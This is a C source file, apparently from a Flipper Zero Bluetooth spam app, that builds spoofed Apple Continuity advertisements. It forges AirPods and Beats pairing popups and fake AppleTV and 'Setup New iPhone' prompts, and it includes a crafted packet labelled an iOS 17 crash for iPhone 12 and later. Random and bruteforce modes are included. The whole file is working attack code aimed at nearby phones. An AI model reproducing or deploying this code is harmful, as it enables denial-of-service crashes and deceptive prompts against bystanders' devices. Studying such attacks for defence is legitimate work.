continuity.c 45 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_airpods_max[] = {
  15. {0x00, "White"},
  16. {0x02, "Red"},
  17. {0x03, "Blue"},
  18. {0x0F, "Black"},
  19. {0x11, "Light Green"},
  20. };
  21. static const ContinuityColor colors_beats_flex[] = {
  22. {0x00, "White"},
  23. {0x01, "Black"},
  24. };
  25. static const ContinuityColor colors_beats_solo_3[] = {
  26. {0x00, "White"},
  27. {0x01, "Black"},
  28. {0x6, "Gray"},
  29. {0x7, "Gold/White"},
  30. {0x8, "Rose Gold"},
  31. {0x09, "Black"},
  32. {0xE, "Violet/White"},
  33. {0xF, "Bright Red"},
  34. {0x12, "Dark Red"},
  35. {0x13, "Swamp Green"},
  36. {0x14, "Dark Gray"},
  37. {0x15, "Dark Blue"},
  38. {0x1D, "Rose Gold 2"},
  39. {0x20, "Blue/Green"},
  40. {0x21, "Purple/Orange"},
  41. {0x22, "Deep Blue/ Light blue"},
  42. {0x23, "Magenta/Light Fuchsia"},
  43. {0x25, "Black/Red"},
  44. {0x2A, "Gray / Disney LTD"},
  45. {0x2E, "Pinkish white"},
  46. {0x3D, "Red/Blue"},
  47. {0x3E, "Yellow/Blue"},
  48. {0x3F, "White/Red"},
  49. {0x40, "Purple/White"},
  50. {0x5B, "Gold"},
  51. {0x5C, "Silver"},
  52. };
  53. static const ContinuityColor colors_powerbeats_3[] = {
  54. {0x00, "White"},
  55. {0x01, "Black"},
  56. {0x0B, "Gray/Blue"},
  57. {0x0C, "Gray/Red"},
  58. {0x0D, "Gray/Green"},
  59. {0x12, "Red"},
  60. {0x13, "Swamp Green"},
  61. {0x14, "Gray"},
  62. {0x15, "Deep Blue"},
  63. {0x17, "Dark with Gold Logo"},
  64. };
  65. static const ContinuityColor colors_powerbeats_pro[] = {
  66. {0x00, "White"},
  67. {0x02, "Yellowish Green"},
  68. {0x03, "Blue"},
  69. {0x04, "Black"},
  70. {0x05, "Pink"},
  71. {0x06, "Red"},
  72. {0x0B, "Gray ?"},
  73. {0x0D, "Sky Blue"},
  74. };
  75. static const ContinuityColor colors_beats_solo_pro[] = {
  76. {0x00, "White"},
  77. {0x01, "Black"},
  78. };
  79. static const ContinuityColor colors_beats_studio_buds[] = {
  80. {0x00, "White"},
  81. {0x01, "Black"},
  82. {0x02, "Red"},
  83. {0x03, "Blue"},
  84. {0x04, "Pink"},
  85. {0x06, "Silver"},
  86. };
  87. static const ContinuityColor colors_beats_x[] = {
  88. {0x00, "White"},
  89. {0x01, "Black"},
  90. {0x02, "Blue"},
  91. {0x05, "Gray"},
  92. {0x1D, "Pink"},
  93. {0x25, "Dark/Red"},
  94. };
  95. static const ContinuityColor colors_beats_studio_3[] = {
  96. {0x00, "White"},
  97. {0x01, "Black"},
  98. {0x02, "Red"},
  99. {0x03, "Blue"},
  100. {0x18, "Shadow Gray"},
  101. {0x19, "Desert Sand"},
  102. {0x25, "Black / Red"},
  103. {0x26, "Midnight Black"},
  104. {0x27, "Desert Sand 2"},
  105. {0x28, "Gray"},
  106. {0x29, "Clear blue/ gold"},
  107. {0x42, "Green Forest camo"},
  108. {0x43, "White Camo"},
  109. };
  110. static const ContinuityColor colors_beats_studio_pro[] = {
  111. {0x00, "White"},
  112. {0x01, "Black"},
  113. };
  114. static const ContinuityColor colors_beats_fit_pro[] = {
  115. {0x00, "White"},
  116. {0x01, "Black"},
  117. {0x02, "Pink"},
  118. {0x03, "Grey/White"},
  119. {0x04, "Full Pink"},
  120. {0x05, "Neon Green"},
  121. {0x06, "Night Blue"},
  122. {0x07, "Light Pink"},
  123. {0x08, "Brown"},
  124. {0x09, "Dark Brown"},
  125. };
  126. static const ContinuityColor colors_beats_studio_buds_[] = {
  127. {0x00, "Black"},
  128. {0x01, "White"},
  129. {0x02, "Transparent"},
  130. {0x03, "Silver"},
  131. {0x04, "Pink"},
  132. };
  133. static const struct {
  134. uint16_t value;
  135. const char* name;
  136. const ContinuityColor* colors;
  137. const uint8_t colors_count;
  138. } pp_models[] = {
  139. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  140. {0x0A20, "AirPods Max", colors_airpods_max, COUNT_OF(colors_airpods_max)},
  141. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  142. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  143. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  144. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  145. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  146. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  147. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  148. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  149. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  150. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  151. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  152. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  153. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  154. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  155. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  156. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  157. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  158. };
  159. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  160. static const struct {
  161. uint8_t value;
  162. const char* name;
  163. } pp_prefixes[] = {
  164. {0x07, "New Device"},
  165. {0x01, "Not Your Device"},
  166. {0x05, "New Airtag"},
  167. };
  168. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  169. static const struct {
  170. uint8_t value;
  171. const char* name;
  172. } na_actions[] = {
  173. {0x13, "AppleTV AutoFill"},
  174. {0x27, "AppleTV Connecting..."},
  175. {0x20, "Join This AppleTV?"},
  176. {0x19, "AppleTV Audio Sync"},
  177. {0x1E, "AppleTV Color Balance"},
  178. {0x09, "Setup New iPhone"},
  179. {0x02, "Transfer Phone Number"},
  180. {0x0B, "HomePod Setup"},
  181. {0x01, "Setup New AppleTV"},
  182. {0x06, "Pair AppleTV"},
  183. {0x0D, "HomeKit AppleTV Setup"},
  184. {0x2B, "AppleID for AppleTV?"},
  185. };
  186. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  187. static const char* type_names[ContinuityTypeCOUNT] = {
  188. [ContinuityTypeAirDrop] = "AirDrop",
  189. [ContinuityTypeProximityPair] = "Continuity Pair",
  190. [ContinuityTypeAirplayTarget] = "Airplay Target",
  191. [ContinuityTypeHandoff] = "Handoff",
  192. [ContinuityTypeTetheringSource] = "Tethering Source",
  193. [ContinuityTypeNearbyAction] = "Continuity Action",
  194. [ContinuityTypeNearbyInfo] = "Nearby Info",
  195. [ContinuityTypeCustomCrash] = "Continuity Custom",
  196. };
  197. static const char* get_name(const Payload* payload) {
  198. const ContinuityCfg* cfg = &payload->cfg.continuity;
  199. return type_names[cfg->type];
  200. }
  201. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  202. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  203. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  204. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  205. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  206. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  207. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  208. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  209. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  210. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  211. };
  212. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  213. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  214. ContinuityType type;
  215. if(cfg && cfg->type != 0x00) {
  216. type = cfg->type;
  217. } else {
  218. const ContinuityType types[] = {
  219. ContinuityTypeProximityPair,
  220. ContinuityTypeNearbyAction,
  221. ContinuityTypeCustomCrash,
  222. };
  223. type = types[rand() % COUNT_OF(types)];
  224. }
  225. uint8_t size = packet_sizes[type];
  226. uint8_t* packet = malloc(size);
  227. uint8_t i = 0;
  228. packet[i++] = size - 1; // Size
  229. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  230. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  231. packet[i++] = 0x00; // ...
  232. packet[i++] = type; // Continuity Type
  233. packet[i] = size - i - 1; // Continuity Size
  234. i++;
  235. switch(type) {
  236. case ContinuityTypeAirDrop: {
  237. packet[i++] = 0x00; // Zeros
  238. packet[i++] = 0x00; // ...
  239. packet[i++] = 0x00; // ...
  240. packet[i++] = 0x00; // ...
  241. packet[i++] = 0x00; // ...
  242. packet[i++] = 0x00; // ...
  243. packet[i++] = 0x00; // ...
  244. packet[i++] = 0x00; // ...
  245. packet[i++] = 0x01; // Version
  246. packet[i++] = (rand() % 256); // AppleID
  247. packet[i++] = (rand() % 256); // ...
  248. packet[i++] = (rand() % 256); // Phone Number
  249. packet[i++] = (rand() % 256); // ...
  250. packet[i++] = (rand() % 256); // Email
  251. packet[i++] = (rand() % 256); // ...
  252. packet[i++] = (rand() % 256); // Email2
  253. packet[i++] = (rand() % 256); // ...
  254. packet[i++] = 0x00; // Zero
  255. break;
  256. }
  257. case ContinuityTypeProximityPair: {
  258. uint16_t model;
  259. uint8_t color;
  260. switch(payload ? payload->mode : PayloadModeRandom) {
  261. case PayloadModeRandom:
  262. default: {
  263. uint8_t model_index = rand() % pp_models_count;
  264. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  265. model = pp_models[model_index].value;
  266. color = pp_models[model_index].colors[color_index].value;
  267. break;
  268. }
  269. case PayloadModeValue:
  270. model = cfg->data.proximity_pair.model;
  271. color = cfg->data.proximity_pair.color;
  272. break;
  273. case PayloadModeBruteforce:
  274. switch(cfg->data.proximity_pair.bruteforce_mode) {
  275. case ContinuityPpBruteforceModel:
  276. default:
  277. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  278. color = cfg->data.proximity_pair.color;
  279. break;
  280. case ContinuityPpBruteforceColor:
  281. model = cfg->data.proximity_pair.model;
  282. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  283. break;
  284. }
  285. break;
  286. }
  287. uint8_t prefix;
  288. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  289. prefix = cfg->data.proximity_pair.prefix;
  290. } else {
  291. if(model == 0x0055 || model == 0x0030)
  292. prefix = 0x05;
  293. else
  294. prefix = 0x01;
  295. }
  296. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  297. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  298. packet[i++] = (model >> 0x00) & 0xFF; // ...
  299. packet[i++] = 0x55; // Status
  300. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  301. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  302. packet[i++] = (rand() % 256); // Lid Open Counter
  303. packet[i++] = color; // Device Color
  304. packet[i++] = 0x00;
  305. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  306. i += 16;
  307. break;
  308. }
  309. case ContinuityTypeAirplayTarget: {
  310. packet[i++] = (rand() % 256); // Flags
  311. packet[i++] = (rand() % 256); // Configuration Seed
  312. packet[i++] = (rand() % 256); // IPv4 Address
  313. packet[i++] = (rand() % 256); // ...
  314. packet[i++] = (rand() % 256); // ...
  315. packet[i++] = (rand() % 256); // ...
  316. break;
  317. }
  318. case ContinuityTypeHandoff: {
  319. packet[i++] = 0x01; // Version
  320. packet[i++] = (rand() % 256); // Initialization Vector
  321. packet[i++] = (rand() % 256); // ...
  322. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  323. packet[i++] = (rand() % 256); // Encrypted Payload
  324. packet[i++] = (rand() % 256); // ...
  325. packet[i++] = (rand() % 256); // ...
  326. packet[i++] = (rand() % 256); // ...
  327. packet[i++] = (rand() % 256); // ...
  328. packet[i++] = (rand() % 256); // ...
  329. packet[i++] = (rand() % 256); // ...
  330. packet[i++] = (rand() % 256); // ...
  331. packet[i++] = (rand() % 256); // ...
  332. packet[i++] = (rand() % 256); // ...
  333. break;
  334. }
  335. case ContinuityTypeTetheringSource: {
  336. packet[i++] = 0x01; // Version
  337. packet[i++] = (rand() % 256); // Flags
  338. packet[i++] = (rand() % 101); // Battery Life
  339. packet[i++] = 0x00; // Cell Service Type
  340. packet[i++] = (rand() % 8); // ...
  341. packet[i++] = (rand() % 5); // Cell Service Strength
  342. break;
  343. }
  344. case ContinuityTypeNearbyAction: {
  345. uint8_t action;
  346. switch(payload ? payload->mode : PayloadModeRandom) {
  347. case PayloadModeRandom:
  348. default:
  349. action = na_actions[rand() % na_actions_count].value;
  350. break;
  351. case PayloadModeValue:
  352. action = cfg->data.nearby_action.action;
  353. break;
  354. case PayloadModeBruteforce:
  355. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  356. break;
  357. }
  358. uint8_t flags;
  359. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  360. flags = cfg->data.nearby_action.flags;
  361. } else {
  362. flags = 0xC0;
  363. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  364. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  365. }
  366. packet[i++] = flags; // Action Flags
  367. packet[i++] = action; // Action Type
  368. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  369. i += 3;
  370. break;
  371. }
  372. case ContinuityTypeNearbyInfo: {
  373. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  374. packet[i++] = (rand() % 256); // Status Flags
  375. packet[i++] = (rand() % 256); // Authentication Tag
  376. packet[i++] = (rand() % 256); // ...
  377. packet[i++] = (rand() % 256); // ...
  378. break;
  379. }
  380. case ContinuityTypeCustomCrash: {
  381. // Found by @ECTO-1A
  382. uint8_t action = na_actions[rand() % na_actions_count].value;
  383. uint8_t flags = 0xC0;
  384. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  385. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  386. i -= 2; // Override segment header
  387. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  388. packet[i++] = 5; // Continuity Size
  389. packet[i++] = flags; // Action Flags
  390. packet[i++] = action; // Action Type
  391. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  392. i += 3;
  393. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  394. packet[i++] = 0x00; // ...
  395. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  396. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  397. i += 3;
  398. break;
  399. }
  400. default:
  401. break;
  402. }
  403. *_size = size;
  404. *_packet = packet;
  405. }
  406. enum {
  407. _ConfigPpExtraStart = ConfigExtraStart,
  408. ConfigPpModel,
  409. ConfigPpColor,
  410. ConfigPpPrefix,
  411. ConfigPpCOUNT,
  412. };
  413. enum {
  414. _ConfigNaExtraStart = ConfigExtraStart,
  415. ConfigNaAction,
  416. ConfigNaFlags,
  417. ConfigNaCOUNT,
  418. };
  419. enum {
  420. _ConfigCcExtraStart = ConfigExtraStart,
  421. ConfigCcInfoLock,
  422. ConfigCcInfoDevice,
  423. ConfigCcCOUNT,
  424. };
  425. static void config_callback(void* _ctx, uint32_t index) {
  426. Ctx* ctx = _ctx;
  427. Payload* payload = &ctx->attack->payload;
  428. ContinuityCfg* cfg = &payload->cfg.continuity;
  429. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  430. switch(cfg->type) {
  431. case ContinuityTypeProximityPair: {
  432. switch(index) {
  433. case ConfigPpModel:
  434. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  435. break;
  436. case ConfigPpColor:
  437. if(payload->mode != PayloadModeRandom)
  438. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  439. break;
  440. case ConfigPpPrefix:
  441. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  442. break;
  443. default:
  444. ctx->fallback_config_enter(ctx, index);
  445. break;
  446. }
  447. break;
  448. }
  449. case ContinuityTypeNearbyAction: {
  450. switch(index) {
  451. case ConfigNaAction:
  452. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  453. break;
  454. case ConfigNaFlags:
  455. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  456. break;
  457. default:
  458. ctx->fallback_config_enter(ctx, index);
  459. break;
  460. }
  461. break;
  462. }
  463. case ContinuityTypeCustomCrash: {
  464. switch(index) {
  465. case ConfigCcInfoLock:
  466. case ConfigCcInfoDevice:
  467. break;
  468. default:
  469. ctx->fallback_config_enter(ctx, index);
  470. break;
  471. }
  472. break;
  473. }
  474. default:
  475. ctx->fallback_config_enter(ctx, index);
  476. break;
  477. }
  478. }
  479. static void pp_model_changed(VariableItem* item) {
  480. Ctx* ctx = variable_item_get_context(item);
  481. Payload* payload = &ctx->attack->payload;
  482. ContinuityCfg* cfg = &payload->cfg.continuity;
  483. uint8_t index = variable_item_get_current_value_index(item);
  484. const char* color_name = NULL;
  485. char color_name_buf[3];
  486. uint8_t colors_count;
  487. uint8_t value_index_color;
  488. if(index) {
  489. index--;
  490. if(payload->mode != PayloadModeBruteforce ||
  491. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  492. payload->mode = PayloadModeValue;
  493. cfg->data.proximity_pair.model = pp_models[index].value;
  494. variable_item_set_current_value_text(item, pp_models[index].name);
  495. colors_count = pp_models[index].colors_count;
  496. if(payload->mode == PayloadModeValue) {
  497. for(uint8_t j = 0; j < colors_count; j++) {
  498. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  499. color_name = pp_models[index].colors[j].name;
  500. value_index_color = j;
  501. break;
  502. }
  503. }
  504. if(!color_name) {
  505. snprintf(
  506. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  507. color_name = color_name_buf;
  508. value_index_color = colors_count;
  509. }
  510. } else {
  511. color_name = "Bruteforce";
  512. value_index_color = colors_count;
  513. }
  514. } else {
  515. payload->mode = PayloadModeRandom;
  516. variable_item_set_current_value_text(item, "Random");
  517. color_name = "Random";
  518. colors_count = 1;
  519. value_index_color = 0;
  520. }
  521. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  522. variable_item_set_values_count(item, colors_count);
  523. variable_item_set_current_value_index(item, value_index_color);
  524. variable_item_set_current_value_text(item, color_name);
  525. }
  526. static void pp_color_changed(VariableItem* item) {
  527. Payload* payload = variable_item_get_context(item);
  528. ContinuityCfg* cfg = &payload->cfg.continuity;
  529. uint8_t index = variable_item_get_current_value_index(item);
  530. if(payload->mode != PayloadModeBruteforce ||
  531. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  532. payload->mode = PayloadModeValue;
  533. uint8_t model_index = 0;
  534. for(; model_index < pp_models_count; model_index++) {
  535. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  536. }
  537. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  538. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  539. }
  540. static void pp_prefix_changed(VariableItem* item) {
  541. Payload* payload = variable_item_get_context(item);
  542. ContinuityCfg* cfg = &payload->cfg.continuity;
  543. uint8_t index = variable_item_get_current_value_index(item);
  544. if(index) {
  545. index--;
  546. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  547. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  548. } else {
  549. cfg->data.proximity_pair.prefix = 0x00;
  550. variable_item_set_current_value_text(item, "Auto");
  551. }
  552. }
  553. static void na_action_changed(VariableItem* item) {
  554. Payload* payload = variable_item_get_context(item);
  555. ContinuityCfg* cfg = &payload->cfg.continuity;
  556. uint8_t index = variable_item_get_current_value_index(item);
  557. if(index) {
  558. index--;
  559. payload->mode = PayloadModeValue;
  560. cfg->data.nearby_action.action = na_actions[index].value;
  561. variable_item_set_current_value_text(item, na_actions[index].name);
  562. } else {
  563. payload->mode = PayloadModeRandom;
  564. variable_item_set_current_value_text(item, "Random");
  565. }
  566. }
  567. static void extra_config(Ctx* ctx) {
  568. Payload* payload = &ctx->attack->payload;
  569. ContinuityCfg* cfg = &payload->cfg.continuity;
  570. VariableItemList* list = ctx->variable_item_list;
  571. VariableItem* item;
  572. uint8_t value_index;
  573. switch(cfg->type) {
  574. case ContinuityTypeProximityPair: {
  575. item =
  576. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  577. const char* model_name = NULL;
  578. char model_name_buf[5];
  579. const char* color_name = NULL;
  580. char color_name_buf[3];
  581. uint8_t colors_count;
  582. uint8_t value_index_color;
  583. switch(payload->mode) {
  584. case PayloadModeRandom:
  585. default:
  586. model_name = "Random";
  587. value_index = 0;
  588. color_name = "Random";
  589. colors_count = 1;
  590. value_index_color = 0;
  591. break;
  592. case PayloadModeValue:
  593. for(uint8_t i = 0; i < pp_models_count; i++) {
  594. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  595. model_name = pp_models[i].name;
  596. value_index = i + 1;
  597. colors_count = pp_models[i].colors_count;
  598. for(uint8_t j = 0; j < colors_count; j++) {
  599. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  600. color_name = pp_models[i].colors[j].name;
  601. value_index_color = j;
  602. break;
  603. }
  604. }
  605. break;
  606. }
  607. }
  608. if(!model_name) {
  609. snprintf(
  610. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  611. model_name = model_name_buf;
  612. value_index = pp_models_count + 1;
  613. colors_count = 0;
  614. }
  615. if(!color_name) {
  616. snprintf(
  617. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  618. color_name = color_name_buf;
  619. value_index_color = colors_count;
  620. }
  621. break;
  622. case PayloadModeBruteforce:
  623. switch(cfg->data.proximity_pair.bruteforce_mode) {
  624. case ContinuityPpBruteforceModel:
  625. default:
  626. model_name = "Bruteforce";
  627. value_index = pp_models_count + 1;
  628. snprintf(
  629. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  630. color_name = color_name_buf;
  631. colors_count = 1;
  632. value_index_color = 0;
  633. break;
  634. case ContinuityPpBruteforceColor:
  635. for(uint8_t i = 0; i < pp_models_count; i++) {
  636. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  637. model_name = pp_models[i].name;
  638. value_index = i + 1;
  639. colors_count = pp_models[i].colors_count;
  640. break;
  641. }
  642. }
  643. if(!model_name) {
  644. snprintf(
  645. model_name_buf,
  646. sizeof(model_name_buf),
  647. "%04X",
  648. cfg->data.proximity_pair.model);
  649. model_name = model_name_buf;
  650. value_index = pp_models_count + 1;
  651. colors_count = 0;
  652. }
  653. color_name = "Bruteforce";
  654. value_index_color = colors_count;
  655. break;
  656. }
  657. break;
  658. }
  659. variable_item_set_current_value_index(item, value_index);
  660. variable_item_set_current_value_text(item, model_name);
  661. item =
  662. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  663. variable_item_set_current_value_index(item, value_index_color);
  664. variable_item_set_current_value_text(item, color_name);
  665. item = variable_item_list_add(
  666. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  667. const char* prefix_name = NULL;
  668. char prefix_name_buf[3];
  669. if(cfg->data.proximity_pair.prefix == 0x00) {
  670. prefix_name = "Auto";
  671. value_index = 0;
  672. } else {
  673. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  674. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  675. prefix_name = pp_prefixes[i].name;
  676. value_index = i + 1;
  677. break;
  678. }
  679. }
  680. if(!prefix_name) {
  681. snprintf(
  682. prefix_name_buf,
  683. sizeof(prefix_name_buf),
  684. "%02X",
  685. cfg->data.proximity_pair.prefix);
  686. prefix_name = prefix_name_buf;
  687. value_index = pp_prefixes_count + 1;
  688. }
  689. }
  690. variable_item_set_current_value_index(item, value_index);
  691. variable_item_set_current_value_text(item, prefix_name);
  692. break;
  693. }
  694. case ContinuityTypeNearbyAction: {
  695. item = variable_item_list_add(
  696. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  697. const char* action_name = NULL;
  698. char action_name_buf[3];
  699. switch(payload->mode) {
  700. case PayloadModeRandom:
  701. default:
  702. action_name = "Random";
  703. value_index = 0;
  704. break;
  705. case PayloadModeValue:
  706. for(uint8_t i = 0; i < na_actions_count; i++) {
  707. if(cfg->data.nearby_action.action == na_actions[i].value) {
  708. action_name = na_actions[i].name;
  709. value_index = i + 1;
  710. break;
  711. }
  712. }
  713. if(!action_name) {
  714. snprintf(
  715. action_name_buf,
  716. sizeof(action_name_buf),
  717. "%02X",
  718. cfg->data.nearby_action.action);
  719. action_name = action_name_buf;
  720. value_index = na_actions_count + 1;
  721. }
  722. break;
  723. case PayloadModeBruteforce:
  724. action_name = "Bruteforce";
  725. value_index = na_actions_count + 1;
  726. break;
  727. }
  728. variable_item_set_current_value_index(item, value_index);
  729. variable_item_set_current_value_text(item, action_name);
  730. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  731. const char* flags_name = NULL;
  732. char flags_name_buf[3];
  733. if(cfg->data.nearby_action.flags == 0x00) {
  734. flags_name = "Auto";
  735. } else {
  736. snprintf(
  737. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  738. flags_name = flags_name_buf;
  739. }
  740. variable_item_set_current_value_text(item, flags_name);
  741. break;
  742. }
  743. case ContinuityTypeCustomCrash: {
  744. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  745. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  746. break;
  747. }
  748. default:
  749. break;
  750. }
  751. variable_item_list_set_enter_callback(list, config_callback, ctx);
  752. }
